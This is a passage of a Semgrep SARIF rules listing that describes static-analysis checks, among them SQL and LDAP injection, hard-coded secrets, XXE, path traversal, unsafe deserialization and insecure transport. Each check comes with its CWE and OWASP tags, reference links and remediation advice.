kotlin.lang.security.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"help":{"markdown":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","id":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","name":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","id":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","name":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.pg-express.pg-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.pg-express.pg-express","id":"javascript.express.db.pg-express.pg-express","name":"javascript.express.db.pg-express.pg-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.pg-express.pg-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request)\n - [https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html](https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html)\n - [https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet](https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","id":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","name":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"help":{"markdown":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs)\n - [https://cwe.mitre.org/data/definitions/352.html](https://cwe.mitre.org/data/definitions/352.html)\n - [https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/](https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/)\n","text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","id":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","name":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","id":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","name":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli","id":"ruby.aws-lambda.security.pg-sqli.pg-sqli","name":"ruby.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"help":{"markdown":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected)\n - [https://cwe.mitre.org/data/definitions/939.html](https://cwe.mitre.org/data/definitions/939.html)\n","text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","id":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","name":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","properties":{"precision":"very-high","tags":["CWE-939: Improper Authorization in Handler for Custom URL Scheme","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape)\n - [https://pugjs.org/language/code.html#unescaped-buffered-code](https://pugjs.org/language/code.html#unescaped-buffered-code)\n - [https://pugjs.org/language/attributes.html#unescaped-attributes](https://pugjs.org/language/attributes.html#unescaped-attributes)\n","text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled)\n","text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","id":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","name":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","id":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","name":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","id":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","name":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"help":{"markdown":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use)\n - [https://www.php.net/manual/en/function.unserialize.php](https://www.php.net/manual/en/function.unserialize.php)\n - [https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html)\n","text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"helpUri":"https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use","id":"php.lang.security.unserialize-use.unserialize-use","name":"php.lang.security.unserialize-use.unserialize-use","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unserialize-use.unserialize-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve","id":"python.lang.security.deserialization.pickle.avoid-shelve","name":"python.lang.security.deserialization.pickle.avoid-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure","id":"java.micronaut.audit.cookies.missing-secure.missing-secure","name":"java.micronaut.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this 